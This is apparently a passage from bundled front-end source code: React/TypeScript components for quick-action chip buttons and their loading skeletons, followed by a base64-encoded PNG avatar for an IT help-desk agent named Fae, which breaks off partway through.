icon tint ({@link QuickActionAccent}: brand token or CSS color). */\n  accent: QuickActionAccent\n  /** Classification affix rendered inside the chip (category themes). */\n  lozenge?: QuickActionChipLozenge\n}\n\n/** Resolve a chip label + optional lozenge to the Tag label node. */\nfunction composeChipLabel(\n  label: React.ReactNode,\n  lozenge: QuickActionChipLozenge | undefined,\n): React.ReactNode {\n  if (!lozenge) return label\n  return (\n    <>\n      <span\n        className={cn(\n          // -translate-y-[1px]: align-middle centers on x-height, but the chip\n          // labels are uppercase (no descenders), so the lozenge reads ~1px low\n          // against the caps' optical center (measured 9.1px above / 6.9px\n          // below in the 32px Tag). Keep QuickActionChipSkeleton's lozenge bar\n          // offset in lockstep.\n          'mr-2 inline-flex items-center rounded px-[5px] py-[3px] align-middle -translate-y-[1px] text-h6 font-bold uppercase',\n          lozenge.className,\n        )}\n        style={{ background: 'color-mix(in srgb, currentColor 14%, transparent)' }}\n      >\n        {lozenge.label}\n      </span>\n      {label}\n    </>\n  )\n}\n\nexport interface QuickActionChipButtonProps {\n  label: React.ReactNode\n  /** Icon: a declarative {@link QuickActionIconSpec} (preferred — unified\n   *  EntityIcon resolution) or a pre-rendered ReactNode. */\n  icon?: React.ReactNode | QuickActionIconSpec\n  /** Caller-supplied {@link QuickActionThemeSpec}: supplies the icon accent\n   *  when the icon spec doesn't carry its own, and the lozenge when `lozenge`\n   *  is `true`. Explicit values always win over the theme. */\n  theme?: QuickActionThemeSpec\n  /** {@link QuickActionChipLozenge} at the label's leading edge (e.g. an\n   *  IT/SEC classification affix). `true` renders the `theme`'s lozenge. */\n  lozenge?: QuickActionChipLozenge | boolean\n  /** `'primary'` = accent (yellow) chip, `'outline'` = bordered chip (default). */\n  variant?: 'primary' | 'outline'\n  /** Active single-select state (Figma \"Feature Item\" active): renders the\n   *  Tag's `selected` variant (pink border + pink-secondary fill), overriding\n   *  `variant`. Used by chip groups acting as tabs (OpenFrame categories). */\n  selected?: boolean\n  /** Accent for the `selected` skin: `'cyan'` uses the cyan twin, anything else\n   *  (default) uses pink. Lets an agent's chip group match its own theme accent\n   *  (fae pink / mingo cyan) instead of the fixed pink. */\n  selectedAccent?: QuickActionAccent\n  /** Chip scale, forwarded to `Tag` — `'large'` is the Figma \"Feature Item\"\n   *  48px chip (h3 bold label, 24px icon box). Default `'default'` (32px). */\n  size?: 'default' | 'large'\n  onSelect?: () => void\n  /** Pointer/keyboard focus enters the chip — e.g. preview the full prompt. */\n  onHoverStart?: () => void\n  /** Pointer/keyboard focus leaves the chip — e.g. restore the composer. */\n  onHoverEnd?: () => void\n  /** `false` renders a plain non-focusable `<Tag>` (decorative use: marquee\n   *  strips, table cells). Default `true`. */\n  interactive?: boolean\n  className?: string\n}\n\n// =============================================================================\n// Skeleton\n// =============================================================================\n\nexport interface QuickActionChipSkeletonProps {\n  /** Label placeholder width in `ch` of the chip's own font — vary per item\n   *  for a realistic spread. Default 16. */\n  labelCh?: number\n  /** Reserve the leading-icon slot (default true — most chips carry one). */\n  icon?: boolean\n  /** Reserve the leading lozenge affix slot. */\n  lozenge?: boolean\n  /** Chip scale — MUST match the loaded chips' `size` or the swap jumps. */\n  size?: 'default' | 'large'\n  className?: string\n}\n\n/** Pulse bar inside the chip skeleton — the standard `ui/skeleton` treatment\n *  (`animate-pulse bg-ods-border`), as a SPAN so it stays valid phrasing\n *  content inside the Tag's label span. */\nfunction ChipSkelBar({ className, style }: { className?: string; style?: React.CSSProperties }) {\n  return <span aria-hidden className={cn('animate-pulse rounded-md bg-ods-border', className)} style={style} />\n}\n\n/**\n * Loading placeholder for {@link QuickActionChipButton} — renders the REAL\n * `Tag` (same height, padding, border, radius, icon box) with standard\n * skeleton pulse bars (identical animation + token as `ui/skeleton`) in the\n * icon/lozenge/label slots, so a skeleton chip is 1:1 with a loaded chip by\n * construction. Use anywhere quick actions stream in (chat empty states,\n * marketing walls, deck panels).\n */\nexport function QuickActionChipSkeleton({ labelCh = 16, icon = true, lozenge = false, size = 'default', className }: QuickActionChipSkeletonProps) {\n  return (\n    <Tag\n      variant=\"outline\"\n      size={size}\n      className={className}\n      icon={icon ? <ChipSkelBar className={size === 'large' ? 'block size-5' : 'block size-4'} /> : undefined}\n      label={\n        <>\n          {lozenge && <ChipSkelBar className=\"mr-2 inline-block h-[16px] w-[26px] translate-y-[2px]\" />}\n          <ChipSkelBar className=\"inline-block h-[0.9em] translate-y-[0.08em]\" style={{ width: `${labelCh}ch` }} />\n        </>\n      }\n    />\n  )\n}\n\n// =============================================================================\n// Component\n// =============================================================================\n\n/**\n * The unified quick-action chip — Figma chip anatomy (card bg, border, mono\n * uppercase label) via the `Tag` outline/primary variants, with icon\n * resolution owned by `<EntityIcon>` in two formats (config icon w/ agent\n * accent, or fae/mingo agent mark). Used by every chat empty state\n * (guide / mingo / ai-agent), the marketing marquee strips, and the ROI\n * table task cells.\n */\nexport function QuickActionChipButton({\n  label,\n  icon,\n  theme,\n  lozenge,\n  variant = 'outline',\n  selected = false,\n  selectedAccent,\n  size = 'default',\n  onSelect,\n  onHoverStart,\n  onHoverEnd,\n  interactive = true,\n  className,\n}: QuickActionChipButtonProps) {\n  // The theme's accent only fills the gap — an icon spec's own accent\n  // (admin-configured per-action color) always wins.\n  const themedIcon =\n    theme && isQuickActionIconSpec(icon) && !icon.accent ? { ...icon, accent: theme.accent } : icon\n  const resolvedLozenge = lozenge === true ? theme?.lozenge : lozenge === false ? undefined : lozenge\n  const resolvedIcon = renderQuickActionIcon(themedIcon)\n  const resolvedLabel = composeChipLabel(label, resolvedLozenge)\n  const tagVariant = selected ? (selectedAccent === 'cyan' ? 'selectedCyan' : 'selected') : variant\n  if (!interactive) {\n    return <Tag variant={tagVariant} size={size} icon={resolvedIcon} label={resolvedLabel} className={className} />\n  }\n  return (\n    <button\n      type=\"button\"\n      onClick={onSelect}\n      onMouseEnter={onHoverStart}\n      onMouseLeave={onHoverEnd}\n      onFocus={onHoverStart}\n      onBlur={onHoverEnd}\n      aria-pressed={selected || undefined}\n      className={cn(\n        'shrink-0 rounded-md focus:outline-none focus-visible:ring-2 focus-visible:ring-ods-accent',\n        className,\n      )}\n    >\n      <Tag variant={tagVariant} size={size} icon={resolvedIcon} label={resolvedLabel} />\n    </button>\n  )\n}\n\n// =============================================================================\n// Chip data shape + data→button mapper\n// =============================================================================\n\n/**\n * THE quick-action chip DATA shape — one declarative description of a chip that\n * every quick-action surface builds (chat empty states, {@link QuickActionWall},\n * {@link QuickActionMarquee}). Maps 1:1 to {@link QuickActionChipButton} props\n * via {@link QuickActionChipFromData}, so adding a chip capability means editing\n * exactly these two.\n */\nexport interface QuickActionChip {\n  /** Stable React key + menu-item id. */\n  id: string\n  label: string\n  /** Pre-rendered node OR a declarative {@link QuickActionIconSpec} (resolved\n   *  via the unified `<EntityIcon>` path). */\n  icon?: React.ReactNode | QuickActionIconSpec\n  /** Caller-supplied {@link QuickActionThemeSpec} (accent + optional\n   *  lozenge) — per-chip so mixed walls (interleaved IT/SEC streams) work.\n   *  The lib ships no theme registry; consumers define their own specs. */\n  theme?: QuickActionThemeSpec\n  /** Classification affix at the label's leading edge; `true` = the theme's. */\n  lozenge?: QuickActionChipLozenge | boolean\n  /** `'primary'` = accent (yellow) chip, `'outline'` = bordered chip (default). */\n  variant?: 'primary' | 'outline'\n  /** Active single-select state — renders the accented `selected` skin\n   *  (overrides `variant`). */\n  selected?: boolean\n  /** Accent for the `selected` skin (`'cyan'` = cyan twin, else pink). */\n  selectedAccent?: QuickActionAccent\n  onSelect?: () => void\n  /** Pointer/keyboard focus enters the chip — e.g. preview the full prompt in\n   *  the composer. */\n  onHoverStart?: () => void\n  /** Pointer/keyboard focus leaves the chip — e.g. restore the composer. */\n  onHoverEnd?: () => void\n}\n\n/**\n * THE {@link QuickActionChip}-data → {@link QuickActionChipButton} mapper —\n * one prop-plumbing spelling shared by every chat empty state, `QuickActionWall`,\n * and `QuickActionMarquee` (adding a chip field means editing exactly here).\n * `defaultTheme`/`defaultLozenge` fill gaps for wall-level theming;\n * `interactive={false}` renders the decorative Tag form (loop-clone copies).\n */\nexport function QuickActionChipFromData({\n  chip,\n  defaultTheme,\n  defaultLozenge,\n  interactive = true,\n  className,\n}: {\n  chip: QuickActionChip\n  defaultTheme?: QuickActionThemeSpec\n  defaultLozenge?: boolean\n  interactive?: boolean\n  className?: string\n}) {\n  return (\n    <QuickActionChipButton\n      label={chip.label}\n      icon={chip.icon}\n      theme={chip.theme ?? defaultTheme}\n      lozenge={chip.lozenge ?? (defaultLozenge || undefined)}\n      variant={chip.variant ?? 'outline'}\n      selected={chip.selected}\n      selectedAccent={chip.selectedAccent}\n      onSelect={chip.onSelect}\n      onHoverStart={chip.onHoverStart}\n      onHoverEnd={chip.onHoverEnd}\n      interactive={interactive}\n      className={className}\n    />\n  )\n}\n","/**\n * Fae's avatar — Fae (the IT help-desk AI agent) has no vector icon, so its avatar IS its\n * mark. Packaged with the library as a base64 data URI so EVERY consumer renders it with\n * no host-asset serving required (see `AgentMark`). Source: 160×160 PNG, ~37 KB.\n */\nexport const FAE_AVATAR_DATA_URI = 'data:image/png;base64,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